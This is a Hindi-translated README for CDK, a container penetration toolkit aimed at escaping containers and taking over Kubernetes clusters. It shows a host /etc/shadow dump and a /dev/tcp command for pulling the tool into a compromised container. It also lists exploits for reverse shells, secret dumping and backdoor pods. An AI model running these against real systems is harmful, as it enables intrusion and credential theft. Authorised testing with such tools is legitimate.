
📦 K8s, Docker और Containerd की सुरक्षा परीक्षण को आसान बनाएं।
अंग्रेज़ी | 简体中文

बिना पूर्व पारस्परिक सहमति के लक्ष्यों पर हमला करने के लिए CDK का उपयोग अवैध है। CDK केवल सुरक्षा परीक्षण उद्देश्यों के लिए है।
CDK एक ओपन-सोर्स कंटेनर पेनिट्रेशन टूलकिट है, जिसे बिना किसी OS निर्भरता के विभिन्न स्लिम्ड कंटेनरों में स्थिर शोषण प्रदान करने के लिए डिज़ाइन किया गया है। यह उपयोगी नेट-टूल्स और कई शक्तिशाली PoCs/EXPs के साथ आता है और आपको कंटेनर से बचने और आसानी से K8s क्लस्टर को अपने कब्जे में लेने में मदद करता है।
मूल्यांकन जानकारी और एक अनुशंसित शोषण प्राप्त करने के लिए cdk eva चलाएं, फिर हमला शुरू करने के लिए cdk run चलाएं।
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
https://github.com/cdk-team/CDK/releases/ से नवीनतम रिलीज़ डाउनलोड करें।
निष्पादन योग्य फ़ाइलों को लक्ष्य कंटेनर में डालें और परीक्षण शुरू करें।
यदि आपके पास एक शोषण है जो फ़ाइल अपलोड कर सकता है, तो आप सीधे CDK बाइनरी अपलोड कर सकते हैं।
यदि आपके पास RCE शोषण है, लेकिन लक्ष्य कंटेनर में curl या wget नहीं है, तो आप CDK देने के लिए निम्न विधि का उपयोग कर सकते हैं:
(on your host)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK में तीन मॉड्यूल हैं:
उपयोग
cdk evaluate [--full]
सभी उपलब्ध शोषण सूचीबद्ध करें:
cdk run --list
लक्षित शोषण चलाएं:
cdk run <script-name> [options]
पतले के बारे में नोट: पतला रिलीज़ सर्वरलेस फ़ंक्शंस जैसे अल्पकालिक कंटेनर शेल के लिए तैयार किया गया है। हम स्रोत कोड में बिल्ड टैग जोड़ते हैं और बाइनरी को हल्का बनाने के लिए कुछ शोषण काट देते हैं। 2MB फ़ाइल में 90% CDK फ़ंक्शन शामिल हैं, साथ ही आप अपनी खुद की हल्की बाइनरी बनाने के लिए CDK स्रोत कोड में उपयोगी शोषण चुन सकते हैं।
लिनक्स की तरह कमांड चलाना, इनपुट-आर्ग में थोड़ा अलग, उपयोग लिंक देखें।
cdk nc [options]
cdk ps
यदि आप जानना चाहते हैं कि हमने नया संस्करण कैसे जारी किया, पतला कैसे उत्पादित होता है, हम upx संस्करण क्यों प्रदान करते हैं, सभी, सामान्य, पतला, upx के बीच अंतर क्या हैं, और अपने लिए एक स्वयं का रिलीज़ संकलित करने के लिए विशिष्ट CDK शोषण और उपकरण कैसे चुनें, कृपया Release Document देखें।
सबसे पहले, योगदान करने के लिए समय निकालने के लिए धन्यवाद!
निम्नलिखित योगदानकर्ताओं को धन्यवाद:
अधिक योगदानकर्ता:योगदानकर्ता सूची
बग को GitHub Issues के रूप में ट्रैक किया जाता है। वर्तमान CDK संस्करण, त्रुटि संदेश और वातावरण के साथ एक मुद्दा बनाएं। समस्या को पुन: उत्पन्न करने वाले सटीक चरणों का वर्णन करें।
संवर्द्धन सुझाव GitHub Discussions के रूप में ट्रैक किए जाते हैं। आप यहां कोई भी विचार प्रकाशित कर सकते हैं और सीधे डेवलपर्स से चर्चा कर सकते हैं।
समस्याओं को ठीक करें या CDK की गुणवत्ता बनाए रखें:
नई सुविधा या शोषण:

प्रोजेक्ट CDK अब 404Team Starlink Project 2.0 में शामिल है। CDK डेव-टीम से संपर्क करने के लिए StarLink समुदाय में शामिल हों।
| रणनीति | स्क्रिप्ट | समर्थित | उपयोग/उदाहरण |
|---|
| सूचना संग्रह | OS Basic Info | ✔ | link |
| सूचना संग्रह | उपलब्ध क्षमताएँ | ✔ | link |
| सूचना संग्रह | उपलब्ध Linux कमांड | ✔ | link |
| सूचना संग्रह | माउंट्स | ✔ | link |
| सूचना संग्रह | नेट नेमस्पेस | ✔ | link |
| सूचना संग्रह | संवेदनशील ENV | ✔ | link |
| सूचना संग्रह | संवेदनशील प्रक्रिया | ✔ | link |
| सूचना संग्रह | संवेदनशील स्थानीय फ़ाइलें | ✔ | link |
| सूचना संग्रह | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| सूचना संग्रह | DNS-आधारित सेवा खोज | ✔ | link |
| खोज | K8s Api-सर्वर जानकारी | ✔ | link |
| खोज | K8s सेवा-खाता जानकारी | ✔ | link |
| खोज | क्लाउड प्रदाता मेटाडेटा API | ✔ | link |
| रणनीति | तकनीक | CDK शोषण नाम | समर्थित | पतले में | दस्तावेज़ |
|---|
| बचना | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| बचना | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| बचना | docker.sock PoC (DIND हमला) | docker-sock-check | ✔ | ✔ | link |
| बचना | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| बचना | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| बचना | डिवाइस माउंट बचना | mount-disk | ✔ | ✔ | link |
| बचना | LXCFS बचना | lxcfs-rw | ✔ | ✔ | link |
| बचना | Cgroups बचना | mount-cgroup | ✔ | ✔ | link |
| बचना | अनप्रिविलेज्ड यूज़र नेमस्पेस का दुरुपयोग कर बचना CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| बचना | Procfs बचना | mount-procfs | ✔ | ✔ | link |
| बचना | Ptrace बचना PoC | check-ptrace | ✔ | ✔ | link |
| बचना | Rewrite Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| बचना | होस्ट सिस्टम से मनमानी फ़ाइल पढ़ें (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| खोज | K8s घटक प्रोब | service-probe | ✔ | ✔ | link |
| खोज | Istio Sidecar मेटा डंप करें | istio-check | ✔ | ✔ | link |
| खोज | K8s Pod सुरक्षा नीतियां डंप करें | k8s-psp-dump | ✔ | link | |
| दूरस्थ नियंत्रण | रिवर्स शेल | reverse-shell | ✔ | ✔ | link |
| दूरस्थ नियंत्रण | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| क्रेडेंशियल एक्सेस | रजिस्ट्री ब्रूटफोर्स | registry-brute | ✔ | ✔ | link |
| क्रेडेंशियल एक्सेस | एक्सेस कुंजी स्कैनिंग | ak-leakage | ✔ | ✔ | link |
| क्रेडेंशियल एक्सेस | Etcd से K8s टोकन प्राप्त करें | etcd-get-k8s-token | ✔ | ✔ | |
| क्रेडेंशियल एक्सेस | K8s Secrets डंप करें | k8s-secret-dump | ✔ | ✔ | link |
| क्रेडेंशियल एक्सेस | K8s Config डंप करें | k8s-configmap-dump | ✔ | ✔ | link |
| विशेषाधिकार वृद्धि | K8s RBAC बाईपास | k8s-get-sa-token | ✔ | ✔ | link |
| विशेषाधिकार वृद्धि | CVE-2026-31431 copy-fail (केवल non-root→root और x86_64) | copy-fail-cve-2026-31431 | ✔ | link | |
| स्थिरता | WebShell तैनात करें | webshell-deploy | ✔ | ✔ | link |
| स्थिरता | बैकडोर Pod तैनात करें | k8s-backdoor-daemonset | ✔ | ✔ | link |
| स्थिरता | शैडो K8s api-सर्वर तैनात करें | k8s-shadow-apiserver | ✔ | link | |
| स्थिरता | K8s MITM हमला (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| स्थिरता | K8s CronJob तैनात करें | k8s-cronjob | ✔ | ✔ | link |
| कमांड | विवरण | समर्थित | उपयोग/उदाहरण |
|---|
| nc | TCP टनल | ✔ | link |
| ps | प्रक्रिया जानकारी | ✔ | link |
| netstat | जैसे "netstat -antup" कमांड | ✔ | |
| ifconfig | नेटवर्क जानकारी | ✔ | link |
| vi | फ़ाइलें संपादित करें | ✔ | link |
| ectl | ectd कुंजियों की अनधिकृत गणना | ✔ | |
| kcurl | K8s api-सर्वर को अनुरोध | ✔ | link |
| dcurl | Docker HTTP API को अनुरोध | ✔ | link |
| ucurl | Docker Unix Socket को अनुरोध | ✔ | link |
| rcurl | Docker Registry API को अनुरोध | ||
| probe | IP/पोर्ट स्कैनिंग | ✔ | link |